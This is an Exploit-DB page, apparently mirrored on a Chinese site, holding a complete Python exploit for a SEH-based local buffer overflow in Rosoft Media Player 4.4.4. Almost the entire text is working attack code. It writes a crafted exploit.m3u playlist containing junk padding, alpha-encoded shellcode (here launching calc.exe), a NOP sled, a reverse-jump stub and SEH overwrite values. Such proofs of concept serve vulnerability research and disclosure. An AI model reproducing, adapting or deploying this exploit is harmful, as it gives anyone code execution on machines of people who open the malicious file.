Rosoft Media Player 4.4.4 – Local Buffer Overflow (SEH) (2)

  • 作者: dijital1
    日期: 2010-08-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14651/
  • #!/usr/bin/python
    
    # #######################################################################
    # Title:Rosoft media player 4.4.4 SEH buffer overflow
    # Date: August 15, 2010
    # Author: dijital1 
    # Original Advisory:http://www.exploit-db.com/exploits/14601 - abhishek lyall
    # Platform: Windows XP SP3 EN Professional - VMware
    # Greetz to:Corelan Security Team, Exploit-db, OffSec
    # http://www.corelan.be:8800/index.php/security/corelan-team-members/
    # #######################################################################
    # Script provided 'as is', without any warranty.
    # Use for educational purposes only.
    # Do not use this code to do anything illegal !
    # Corelan does not want anyone to use this script
    # for malicious and/or illegal purposes
    # Corelan cannot be held responsible for any illegal use.
    #
    # Note : you are not allowed to edit/modify this code. 
    # If you do, Corelan cannot be held responsible for any damages this may cause.
    #
     
    print "|------------------------------------------------------------------|"
    print "| __ __|"
    print "| _________________/ /___ _____ / /________ _____ ___|"
    print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
    print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
    print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
    print "||"
    print "| http://www.corelan.be:8800 |"
    print "|security@corelan.be |"
    print "||"
    print "|-------------------------------------------------[ EIP Hunters ]--|"
    print " -= Exploit for Rosoft media player 4.4.4 (SEH) - dijital1 =- "
    
    
    outputfile="exploit.m3u"
    
    
    junk="\x41"*3470
    
    nseh="\xeb\x88\x90\x90" #reverse jump 118 bytes
    
    seh="\x49\xd4\x46\x00" # PPR - 0046D449 - Taken from the exe. The null byte terminates 
    		 # the copy but because we have a big area to work with prior to
     # to reaching the SEH, this exploit is still possible.
    
    
    # The following shellcode makes use of the GetPC technique for copying EIP into ECX.
    # ECX is then adjusted to move execution 775 bytes earlier in the buffer. We need to
    # to jump back further than what a short jump will allow hence the following...
    #
    # Referenced: phrack #62 Article 7 Originally written by Aaron Adams
    #
    # msfencode -i ./768bck.bin -e x86/alpha_upper -t c
    # [*] x86/alpha_upper succeeded with size 107 (iteration=1)
    
    revjump=("\x89\xe7\xdb\xd7\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
    "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
    "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
    "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
    "\x50\x38\x41\x43\x4a\x4a\x49\x4e\x39\x4a\x4e\x49\x49\x43\x44"
    "\x51\x34\x4c\x34\x50\x59\x4b\x30\x4f\x31\x44\x4a\x4a\x30\x4b"
    "\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4e\x48\x4d\x4b\x4f\x4d\x31"
    "\x41\x41")
    
    # NOP sled between the main payload and the reverse jump shellcode
    sled="\x90"*60
    
    
    # msfpayload windows/exec CMD=calc.exe R | ./msfencode -e x86/alpha_upper -t c
    # [*] x86/alpha_upper succeeded with size 471 (iteration=1)
    shellcode=("\x89\xe5\xdb\xc5\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49\x43"
    "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
    "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
    "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
    "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x45\x50"
    "\x45\x50\x45\x50\x43\x50\x4d\x59\x4b\x55\x46\x51\x49\x42\x45"
    "\x34\x4c\x4b\x51\x42\x46\x50\x4c\x4b\x50\x52\x44\x4c\x4c\x4b"
    "\x50\x52\x42\x34\x4c\x4b\x43\x42\x47\x58\x44\x4f\x4f\x47\x50"
    "\x4a\x47\x56\x46\x51\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
    "\x43\x51\x43\x4c\x45\x52\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44"
    "\x4d\x45\x51\x4f\x37\x4b\x52\x4a\x50\x51\x42\x50\x57\x4c\x4b"
    "\x51\x42\x44\x50\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c"
    "\x4b\x51\x50\x42\x58\x4d\x55\x4f\x30\x42\x54\x50\x4a\x43\x31"
    "\x48\x50\x50\x50\x4c\x4b\x47\x38\x42\x38\x4c\x4b\x51\x48\x47"
    "\x50\x43\x31\x4e\x33\x4a\x43\x47\x4c\x50\x49\x4c\x4b\x50\x34"
    "\x4c\x4b\x43\x31\x48\x56\x50\x31\x4b\x4f\x46\x51\x49\x50\x4e"
    "\x4c\x4f\x31\x48\x4f\x44\x4d\x43\x31\x4f\x37\x46\x58\x4b\x50"
    "\x43\x45\x4a\x54\x44\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"
    "\x54\x42\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"
    "\x49\x43\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x48\x45"
    "\x4c\x45\x51\x48\x53\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50"
    "\x4c\x49\x50\x44\x47\x54\x47\x54\x51\x4b\x51\x4b\x45\x31\x46"
    "\x39\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x50\x58\x51\x4f\x50\x5a"
    "\x4c\x4b\x42\x32\x4a\x4b\x4d\x56\x51\x4d\x43\x5a\x43\x31\x4c"
    "\x4d\x4c\x45\x48\x39\x45\x50\x45\x50\x45\x50\x46\x30\x42\x48"
    "\x50\x31\x4c\x4b\x42\x4f\x4b\x37\x4b\x4f\x49\x45\x4f\x4b\x4a"
    "\x50\x48\x35\x4f\x52\x46\x36\x45\x38\x49\x36\x4a\x35\x4f\x4d"
    "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x44\x4a\x4d"
    "\x50\x4b\x4b\x4b\x50\x42\x55\x44\x45\x4f\x4b\x47\x37\x44\x53"
    "\x44\x32\x42\x4f\x42\x4a\x43\x30\x46\x33\x4b\x4f\x49\x45\x45"
    "\x33\x45\x31\x42\x4c\x42\x43\x46\x4e\x42\x45\x44\x38\x43\x55"
    "\x45\x50\x45\x5a\x41\x41")
    
    
    payload=junk+shellcode+sled+revjump+nseh+seh
    
    FILE = open(outputfile, "w")
    FILE.write(payload)
    FILE.close()
    
    
    print "\nExploit written to: " + outputfile + "\n"